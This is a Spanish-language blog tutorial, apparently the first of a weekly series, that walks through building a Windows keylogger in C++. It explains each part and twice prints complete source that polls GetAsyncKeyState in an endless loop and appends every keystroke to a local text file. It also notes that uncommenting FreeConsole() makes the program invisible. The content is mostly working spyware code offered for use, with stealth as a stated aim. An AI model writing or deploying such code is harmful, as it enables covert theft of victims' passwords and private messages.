Bueno un keylogger es un programa que se dedica a almacenar las teclas que son presionadas en el teclado que viene de keyboard o teclado
Este lo haremos en C++ porque es un lenguaje rapido y de bajo nivel por lo que da ventajas.
Bueno obviamente un keylogger de los buenos es muy elaborado y en una semana no podre hacer mucho así que estará dividido en partes que subire las mejoras cada semana aver que tan lejos podemos llegar.
Usaremos Visual Studio porque es chido bueno creamos un proyecto
Bueno para programar en c++ se necesitan agregar librerías que nos darán las funciones que necesitamos en este caso incluiremos las librerías :
#include<Windows.h>
#include<iostream>
#include<fstream>
#include<string>
Seguido ponemos
using namespace std;
Esta linea agrega palabras reservadas, como C++ es una ampliacion de C necesita agregar las palabras reservadas por ejemplo para mostrar un mensaje esta el comando cout pero si no pusieramos la linea anterior deberiamos hacer referencia a el namespace que tiene estas palabras reservas asi que se escribiria std::cout lo cual da hueva y hace mas largo y tedioso escribir asi que esta funcion es muy util
Ahora escribiremos esto
void EscribirArchivo(LPCSTR texto)
{
ofstream archivo;
archivo.open("texto.txt",fstream::app);
archivo << texto;
archivo.close();
}
El void EscribirArchivo(LPCSTR texto) crea un metodo que se llama EscribirArchivo requiere un parametro de tipo LPCSTR que se llamara texto, los tipo LPCSTR son punteros de tipo String para no hacerle el cuento mas largo contiene una cadena de texto en un puntero.
Luego dice ofstream archivo; que esto crea un objeto tipo ofstream que se llama rchivo que sirve para abrir un archivo de l computadora
luego dice rchivo.open("texto.txt",fstream::app); esto dice que debe buscar un archivo llamado texto.txt o si no existe crearlo en la ruta donde esta mi programa y abrirlo
archivo << texto; Esto se refiere a que lo que este en el puntero se introducira en el archivo que como ya se hizo referencia es el texto.txt
archivo.close(); Esto cierra el archivo
bien ahora les explicare que es un switch
Funciona asi se pone:
switch (la variable a comparar va en estos parentesis)
{
case (aqui va el parametro):
Instrucciones si es verdadero;
break; Este comando cierra el case y se puede abrir otro
}
Bien en c++ la deteccion de teclas se pone como: VK_TECLA
por ejemplo VK_SPACE o VK_CONTROL pondre una lista de las teclas al final ahora pondremos en el programa lo siguiente
Bueno ahora estas equivalencias a las teclas valen un numero que es equivalente al codigo ASCII que se enumera de el 1 al 255 pueden ver que numero corresponde a cada caracter

bueno en el caso VK_A es igual al numero 65
entonces vamos a crear un metodo que requiera un parametro de tipo numerico osea int que significa integer o entero y dentro un switch
bool TeclasPulsadas(int tecla)
{
switch (tecla)
{
case VK_LBUTTON:
cout << "/n";
EscribirArchivo("\n");
break;
case VK_CONTROL:
cout << "control";
EscribirArchivo("");
break;
case VK_MENU:
cout << "alt";
EscribirArchivo("");
break;
case VK_OEM_PERIOD:
cout << ".";
EscribirArchivo(".");
break;
case VK_RBUTTON:
cout << "/n";
EscribirArchivo("\n");
break;
case VK_RETURN:
cout << "\n";
EscribirArchivo("\n");
break;
case VK_SPACE:
cout << " ";
EscribirArchivo(" ");
break;
case VK_SHIFT:
//cout << "-s-";
//EscribirArchivo("-s-");
break;
case VK_BACK:
cout << "-b-";
EscribirArchivo("-b-");
break;
default: return false;
}
}
bueno creamos un metodo llamado TeclasPulsadas y pedimos una variable int llamado tecla
luego hacemos un switch que compara la variable tecla con el numero de todas las teclas que puse que son caracteres especiales y esto lo hago porque los caracteres especiales al traducirlos de el numero a un caracter dar valores raros si apretas control o shilft da cosas raras o si apretas el boton de borrar o el enter asi que solo tomamos los mas importantes o los mas usados
Primero dice cout<<"lo que sea" esto hace que se muestre en la consola cierto texto si es presionada esa tecla
depues dice EscribirArchivo que recuerden es el metodo que crea e introduce valores en nuestro archivo y le damos un valor de una cadena de texto entre comillas
Para poner un comentario se pone // y lo que tu quieras para que no marque error el codigo
bueno ahora ponemo el metodo principal
int main()
{
//FreeConsole();
unsigned char key;
int numero = 0;
while (true)
{
Sleep(20);
for (key=8, numero=8; key <= 255, numero<=255; key++, numero++)
{
if (GetAsyncKeyState(key) == -32767)
{
if (TeclasPulsadas(key)==FALSE&&numero!=162&&numero!=164&&numero!=165)
{
cout << key;
ofstream archivo;
archivo.open("texto.txt", fstream::app);
archivo << key;
archivo.close();
}
}
}
}
}
bueno creamos el tipo de metodo int
tenemos comentado el FreeConsole que lo que hace es ocultar la consola que va a aparecer cuando lo corran solo quitan las 2 diagonales y el programa sera invisible
unsigned char key; luego creamos una variable sin signo de tipo char o caracter que se llama key
int numero = 0; creamos una variable de tipo int llamada numero
luego el comando while es un repetidor o un ciclo asi que lo que se pone entre parentesis mientra de verdadero se repetira todo lo que este dentro de el while como ponemos un true osea verdadero en el while se repetira por siempre hasta que cerremos el programa o explote la computadora, en este caso no aplica como en los diagramas de flujo que ponemos un final siempre prque el programa por si solo nunca terminara.
while (true)
Después dice Sleep (20) osea que dormirá o pues que se pausara por 20 milisegundos porque si no o hiciéramos el programa se repetiría tantas veces que travaria la computadora asi evitamos que explote
Sleep(20);
luego hacemos un for que diga que key y que numero son iguales a 8 y esto es porque en el codigo ascii los primero 8 carcteres no nos importan asi que nos los saltamos entonces asi repetimos todos los numeros de 8 al 255
for (key=8, numero=8; key <= 255, numero<=255; key++, numero++)
luego un if que dice que si key es igual a -32767 de verdadero no entendi esto pero segun yo esto verifica que la tecla dejo de presionarse
if (GetAsyncKeyState(key) == -32767)
Luego dice que si TeclasPulsadas es falso y numero es diferente de 162,164 y 165 entonces muetra en consola la tecla abre el archivo y guarda la tecla en pocas palabras te dice que si se presiono una tecla con codigo ascci entre 8 y 255 y ya se dejo de presionar y no es ninguna de las especiales que pusimos en el switch y no tiene el codigo ascci 162,164 o 165 que son las teclas Control, ALT y ALTgr
if (TeclasPulsadas(key)==FALSE&&numero!=162&&numero!=164&&numero!=165)
Al final todo el codigo se ve asi
#include<Windows.h>
#include<iostream>
#include<fstream>
#include<string>
using namespace std;
void EscribirArchivo(LPCSTR texto)
{
ofstream archivo;
archivo.open("texto.txt",fstream::app);
archivo << texto;
archivo.close();
}
bool TeclasPulsadas(int tecla)
{
switch (tecla)
{
case VK_LBUTTON:
cout << "/n";
EscribirArchivo("\n");
break;
case VK_CONTROL:
cout << "control";
EscribirArchivo("");
break;
case VK_MENU:
cout << "alt";
EscribirArchivo("");
break;
case VK_OEM_PERIOD:
cout << ".";
EscribirArchivo(".");
break;
case VK_RBUTTON:
cout << "/n";
EscribirArchivo("\n");
break;
case VK_RETURN:
cout << "\n";
EscribirArchivo("\n");
break;
case VK_SPACE:
cout << " ";
EscribirArchivo(" ");
break;
case VK_SHIFT:
//cout << "-s-";
//EscribirArchivo("-s-");
break;
case VK_BACK:
cout << "-b-";
EscribirArchivo("-b-");
break;
default: return false;
}
}
int main()
{
//FreeConsole();
unsigned char key;
int numero = 0;
while (true)
{
Sleep(20);
for (key=8, numero=8; key <= 255, numero<=255; key++, numero++)
{
if (GetAsyncKeyState(key) == -32767)
{
if (TeclasPulsadas(key)==FALSE&&numero!=162&&numero!=164&&numero!=165)
{
cout << key;
ofstream archivo;
archivo.open("texto.txt", fstream::app);
archivo << key;
archivo.close();
}
}
}
}
}
ya corriendolo se ve asi
y yo ahorita estoy escribiendo en el blog y ya se registro todo lo que introduje en el teclado
y en esta carpeta esta el archivo texto.txt que tiene todo lo que ya puse
el contenido es este
Como pueden ver no distingue minusculas de mayusculas es algo en lo que trabajare ademas de darle orden a lo que se guarde que puede ser confuso entre tantas control y -b- y asi porque lo que es la version 1.0 con muchas fallas pero se mejorara